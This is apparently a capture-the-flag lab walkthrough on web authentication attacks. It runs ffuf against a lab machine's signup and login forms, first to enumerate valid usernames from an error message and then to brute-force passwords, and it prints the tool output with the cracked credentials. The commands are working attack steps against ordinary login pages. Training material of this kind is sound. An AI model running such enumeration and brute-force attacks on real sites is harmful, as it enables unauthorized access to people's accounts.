Website error messages are great resources for collating this information to build our list of valid usernames. We have a form to create a new user account if we go to the Acme IT Support website (http://MACHINE_IP/customers/signup) signup page.
If you try entering the username admin and fill in the other form fields with fake information, you'll see we get the error An account with this username already exists. We can use the existence of this error message to produce a list of valid usernames already signed up on the system by using the ffuf tool below. The ffuf tool uses a list of commonly used usernames to check against for any matches.
➜ ~ ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.152.14/customers/signup -mr "username already exists"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.152.14/customers/signup
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&email=x&password=x&cpassword=x
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: username already exists
________________________________________________
admin [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 105ms]
robert [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 103ms]
simon [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 115ms]
steve [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 100ms]
:: Progress: [10177/10177] :: Job [1/1] :: 395 req/sec :: Duration: [0:00:32] :: Errors: 0 ::
➜ ~
In the above example, the
-w
argument selects the file's location on the computer that contains the list of usernames that we're going to check exists. The-X
argument specifies the request method, this will be a GET request by default, but it is a POST request in our example. The-d
argument specifies the data that we are going to send. In our example, we have the fields username, email, password and cpassword. We've set the value of the username to FUZZ. In the ffuf tool, the FUZZ keyword signifies where the contents from our wordlist will be inserted in the request. The-H
argument is used for adding additional headers to the request. In this instance, we're setting theContent-Type
so the web server knows we are sending form data. The-u
argument specifies the URL we are making the request to, and finally, the-mr
argument is the text on the page we are looking for to validate we've found a valid username.
A brute force attack is an automated process that tries a list of commonly used passwords against either a single username or, like in our case, a list of usernames.
➜ ~ ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.152.14/customers/login -fc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.152.14/customers/login
:: Wordlist : W1: /home/shahmal1yev/valid_usernames.txt
:: Wordlist : W2: /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=W1&password=W2
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 200
________________________________________________
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 121ms]
* W1: steve
* W2: thunder
:: Progress: [404/404] :: Job [1/1] :: 385 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
➜ ~
This ffuf command is a little different to the previous one in Task 2. Previously we used the FUZZ keyword to select where in the request the data from the wordlists would be inserted, but because we're using multiple wordlists, we have to specify our own FUZZ keyword. In this instance, we've chosen
W1
for our list of valid usernames andW2
for the list of passwords we will try. The multiple wordlists are again specified with the-w
argument but separated with a comma. For a positive match, we're using the-fc
argument to check for an HTTP status code other than 200.